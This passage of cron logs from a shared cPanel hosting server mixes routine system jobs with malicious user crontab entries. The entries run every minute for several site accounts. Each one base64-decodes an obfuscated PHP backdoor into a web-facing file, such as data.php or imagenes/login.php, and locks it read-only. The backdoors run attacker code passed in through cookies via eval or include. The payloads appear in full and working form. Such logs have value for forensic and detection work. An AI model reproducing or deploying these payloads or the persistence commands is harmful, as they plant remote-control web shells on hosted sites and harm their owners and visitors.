3ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:50:01 medusa CROND[20363]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 07:50:01 medusa CROND[20381]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 07:50:01 medusa CROND[20377]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 07:50:01 medusa CROND[20409]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:51:01 medusa CROND[11789]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:51:01 medusa CROND[11840]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:51:01 medusa CROND[11841]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:51:01 medusa CROND[11842]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 07:51:01 medusa CROND[11844]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 07:51:01 medusa CROND[11845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:51:01 medusa CROND[11847]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:51:01 medusa CROND[11849]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:51:01 medusa CROND[11850]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:51:01 medusa CROND[11852]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 07:51:01 medusa CROND[11857]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 07:51:01 medusa CROND[11860]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:51:01 medusa CROND[11861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:51:01 medusa CROND[11851]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:51:01 medusa CROND[11873]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:52:01 medusa CROND[4120]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:52:01 medusa CROND[4121]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:52:01 medusa CROND[4122]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:52:01 medusa CROND[4123]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 07:52:01 medusa CROND[4124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:52:01 medusa CROND[4125]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:52:01 medusa CROND[4128]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:52:01 medusa CROND[4131]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:52:01 medusa CROND[4130]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:52:01 medusa CROND[4132]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:52:01 medusa CROND[4135]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:52:01 medusa CROND[4141]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:52:01 medusa CROND[4142]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:53:01 medusa CROND[28235]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:53:01 medusa CROND[28299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:53:01 medusa CROND[28301]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:53:01 medusa CROND[28310]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:53:01 medusa CROND[28312]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6Om